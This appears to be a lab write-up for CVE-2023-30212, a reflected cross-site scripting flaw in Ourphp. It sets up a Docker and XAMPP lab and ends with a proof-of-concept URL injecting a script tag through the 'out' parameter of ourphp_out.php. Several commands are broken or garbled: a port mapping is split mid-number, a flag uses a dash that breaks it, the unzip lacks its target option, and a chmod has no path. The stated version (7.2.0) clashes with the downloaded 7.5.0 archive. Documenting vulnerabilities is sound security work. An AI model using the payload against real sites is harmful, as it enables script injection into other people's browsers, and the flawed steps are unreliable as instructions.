# CVE-2023-30212
Exploiting vulnerability in Ourphp version 7.2.0 also called CVE 2023 30212



Step 1. Download and install Docker in your system
(Note). I am using Docker because it’s quick and easy to install ubuntu.



Step 2. Setup Docker environment 
    
    docker pull ubuntu
    docker run -d -t –name test-container -p 80:80 -p 443:44
    3 -p 3306:3306 -p 21:21 ubuntu
    Docker exec -it test-container bash


Step 3. Install web server, php & mysql. I will be installing xampp server for this.

    wget https://liquidtelecom.dl.sourceforge.net/project/xampp/XAMPP%20Linux/7.2.0/xampp-linux-x64-7.2.0-0-installer.run 
    chmod +x xampp-linux-x64-7.2.0-0-installer.run
    ./xampp-linux-x64-7.2.0-0-installer.run
    /opt/lampp/lampp start



Step 4. Download Ourphp version 7.2.0

    wget https://zdown.chinaz.com/202305/ourphp-zyb-v7.5.0.20230515.zip
    unzip ourphp-zyb-v7.5.0.20230515.zip /opt/lampp/htdocs/
    chmod -R 775



Step 5. Setup Ourphp on browser
Open your browser and enter localhost or 127.0.0.1
Follow the instruction and install Ourphp.



Step 6. Exploiting the vulnerability 
Ourphp 7.2.0 version has a vulnerability to XSS (Cross-Site Scripting). 
To mitigate the vulnerability in the /client/manage/ourphp_out.php file that allows for the execution of XSS code, 

you need to modify the code. The vulnerability arises when the "ourphp_admin" parameter is set to "logout," and the controllable variable "out" is echoed. 


Attackers can exploit this by injecting a payload such as "</script><script>alert(xss)</script>".

    Code: http://localhost/client/manage/ourphp_out.php?ourphp_admin=logout&out=</script><script>alert('xss')</script>
